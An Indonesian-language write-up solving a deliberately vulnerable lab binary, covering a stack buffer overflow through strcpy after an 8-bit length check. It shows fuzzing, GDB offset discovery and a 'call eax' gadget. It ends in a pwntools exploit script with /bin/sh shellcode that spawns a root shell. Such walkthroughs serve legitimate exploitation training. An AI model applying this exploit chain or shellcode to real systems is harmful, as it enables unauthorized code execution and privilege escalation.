Sploit Fun
Masalah
Diberikan berkas vuln
yang memiliki source code dibawah ini.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void store_passwd_indb(char* passwd)
{
}
void validate_uname(char* uname)
{
}
void validate_passwd(char* passwd)
{ char passwd_buf[11];
unsigned char passwd_len = strlen(passwd); /* [1] */
if(passwd_len >= 4 && passwd_len <= 8) /* [2] */
{ printf("Valid Password\n"); /* [3] */
fflush(stdout);
strcpy(passwd_buf,passwd); /* [4] */
}
else
{ printf("Invalid Password\n"); /* [5] */
fflush(stdout);
}
store_passwd_indb(passwd_buf); /* [6] */
}
int main(int argc, char* argv[])
{ if(argc!=3)
{ printf("Usage Error: \n");
fflush(stdout);
exit(-1);
}
validate_uname(argv[1]);
validate_passwd(argv[2]);
return 0;
}
Penyelesaian
Pengumpulan Informasi
Periksa keamanan binary dengan checksec
terlebih dahulu.
checksec vuln
[*] '/../vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
Ternyata NX disabled
sehingga bisa mengeksekusi shellcode
secara langsung. Kemudian berdasarkan source code, program tersebut meminta dua input yakni username dan password. Jika panjang password 4-8 karakter maka dikatakan valid dan fungsi strcpy
dapat dipanggil.
Identifikasi Kelemahan
Ada dua kelemahan yang ada pada program disebabkan oleh fungsi strlen
dan strcpy
. Pertama fungsi strlen
bisa dilewati dengan memasukkan karakter \x00
sehingga input yang memiliki panjang lebih dari 8 karakter bisa dikatakan valid
oleh program. Kedua fungsi strcpy
yang dapat menyebabkan stack overflow dan segmentation fault jika buffer yang dimasukkan melebihi kapasitas passwd_buf
.
Jika dilihat lebih lanjut kelemahan strlen
batal karena sudah ada NULL termination
pada mekanisme argv
. Untuk identifikasi kelemahan bisa melakukan fuzz pada parameter password dengan script dibawah ini.
find_segfaults_by_args.sh
#!/bin/bash
buffer=""
for i in {1..2048}
do
echo $i
buffer+="A"
./$1 $2 $buffer
if [ $? -eq 139 ]; then
echo "SEGMENTATION FAULT on $i BUFFER"
break
fi
done
Jalankan script dengan parameter vuln
dan dummy
.
# ./find_segfault_args.sh vuln dummy
~ skipped ~
...
259
Invalid Password
260
Valid Password
./find_segfault_args.sh: line 3: 15698 Segmentation fault (core dumped) ./$1 $2 $buffer
SEGMENTATION FAULT on 260 BUFFER
Dengan demikian binary akan mengalami segmentation fault jika buffer yang dimasukkan sebesar 260 bytes.
Eksploitasi
Buka GDB, untuk melihat informasi lebih lanjut.
# gdb -q vuln
gdb-peda$ r 'dummy' `python -c 'print "A"*260'`
Luaran
Valid Password
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd2b4 ('A' <repeats 200 times>...)
EBX: 0xffffd300 ('A' <repeats 184 times>)
ECX: 0xffffd660 --> 0x414141 ('AAA')
EDX: 0xffffd3b5 --> 0x414141 ('AAA')
ESI: 0xf7fa7000 --> 0x1b1db0
EDI: 0xf7fa7000 --> 0x1b1db0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd2d0 ('A' <repeats 200 times>...)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd2d0 ('A' <repeats 200 times>...)
0004| 0xffffd2d4 ('A' <repeats 200 times>...)
0008| 0xffffd2d8 ('A' <repeats 200 times>...)
0012| 0xffffd2dc ('A' <repeats 200 times>...)
0016| 0xffffd2e0 ('A' <repeats 200 times>...)
0020| 0xffffd2e4 ('A' <repeats 200 times>...)
0024| 0xffffd2e8 ('A' <repeats 200 times>...)
0028| 0xffffd2ec ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
Ternyata register EIP sudah tertimpa dengan buffer AAAA
, untuk mencari posisi buffer yang menimpa register EIP, gunakan pattern create
.
gdb-peda$ pattern create 260 delete.me
gdb-peda$ r 'dummy' `python -c 'print open("delete.me").read().rstrip()'`
Luaran
Valid Password
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd2b4 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
EBX: 0xffffd300 ("AA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA")
ECX: 0xffffd660 --> 0x4c004163 ('cA')
EDX: 0xffffd3b6 --> 0xd6004163
ESI: 0xf7fa7000 --> 0x1b1db0
EDI: 0xf7fa7000 --> 0x1b1db0
EBP: 0x41412d41 ('A-AA')
ESP: 0xffffd2d0 ("AA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%"...)
EIP: 0x44414128 ('(AAD')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x44414128
[------------------------------------stack-------------------------------------]
0000| 0xffffd2d0 ("AA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%"...)
0004| 0xffffd2d4 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;"...)
0008| 0xffffd2d8 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A"...)
0012| 0xffffd2dc ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%"...)
0016| 0xffffd2e0 ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0"...)
0020| 0xffffd2e4 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA"...)
0024| 0xffffd2e8 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%"...)
0028| 0xffffd2ec ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x44414128 in ?? ()
Ternyata register EIP sudah tertimpa dengan buffer (AAD
, untuk mencari index buffer yang menimpa register EIP, gunakan script dibawah ini.
echo `python -c 'print open("delete.me").read().rstrip().index("(AAD")'`
Luaran
24
Oleh karena itu, payload untuk parameter password menjadi seperti ini.
gdb-peda$ r 'dummy' `python -c 'print "A"*24+"$EIP"+"B"*232'`
Luaran
Valid Password
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd2b4 ('A' <repeats 24 times>, "$EIP", 'B' <repeats 172 times>...)
EBX: 0xffffd300 ('B' <repeats 184 times>)
ECX: 0xffffd660 --> 0x424242 ('BBB')
EDX: 0xffffd3b5 --> 0x424242 ('BBB')
ESI: 0xf7fa7000 --> 0x1b1db0
EDI: 0xf7fa7000 --> 0x1b1db0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd2d0 ('B' <repeats 200 times>...)
EIP: 0x50494524 ('$EIP')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x50494524
[------------------------------------stack-------------------------------------]
0000| 0xffffd2d0 ('B' <repeats 200 times>...)
0004| 0xffffd2d4 ('B' <repeats 200 times>...)
0008| 0xffffd2d8 ('B' <repeats 200 times>...)
0012| 0xffffd2dc ('B' <repeats 200 times>...)
0016| 0xffffd2e0 ('B' <repeats 200 times>...)
0020| 0xffffd2e4 ('B' <repeats 200 times>...)
0024| 0xffffd2e8 ('B' <repeats 200 times>...)
0028| 0xffffd2ec ('B' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x50494524 in ?? ()
Ternyata buffer B
tersimpan pada register EAX. Petunjuk ini bisa digunakan untuk memanggil gadget semacam call eax
untuk mengeksekusi shellcode dan NOP sebagai pengganti buffer B
. Untuk mencari gadget gunakan ROPgadget.
$ ROPgadget --binary vuln | grep 'call eax'
~ skipped ~
0x08048463 : call eax
~ skipped ~
Agar gadget dieksekusi, bisa diletakkan pada isi register EIP sehingga payload akhir menjadi seperti ini.
payload = 'A'*24
payload += p32(0x08048463) # call eax;
payload += shellcode
payload += '\x90'*207 # nop
Ini dia script akhir untuk eksploitasi binary ini.
solver.py
from signal import alarm
from time import sleep
from pwn import *
alarm(30)
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'
username = 'sploitfun'
payload = 'A'*24
payload += p32(0x08048463) # call eax;
payload += shellcode
payload += '\x90'*207 # nop
print len(payload)
while 1:
proc = process(['./vuln', username, payload])
proc.interactive()
sleep(1)
Jalankan dan dapatkan luaran semacam ini.
$ python solver.py
~ skipped ~
$
[+] Starting local process './vuln': pid 18418
[*] Switching to interactive mode
Valid Password
[*] Got EOF while reading in interactive
$
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 18418)
[*] Got EOF while sending in interactive
[+] Starting local process './vuln': pid 18422
[*] Switching to interactive mode
Valid Password
$
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
$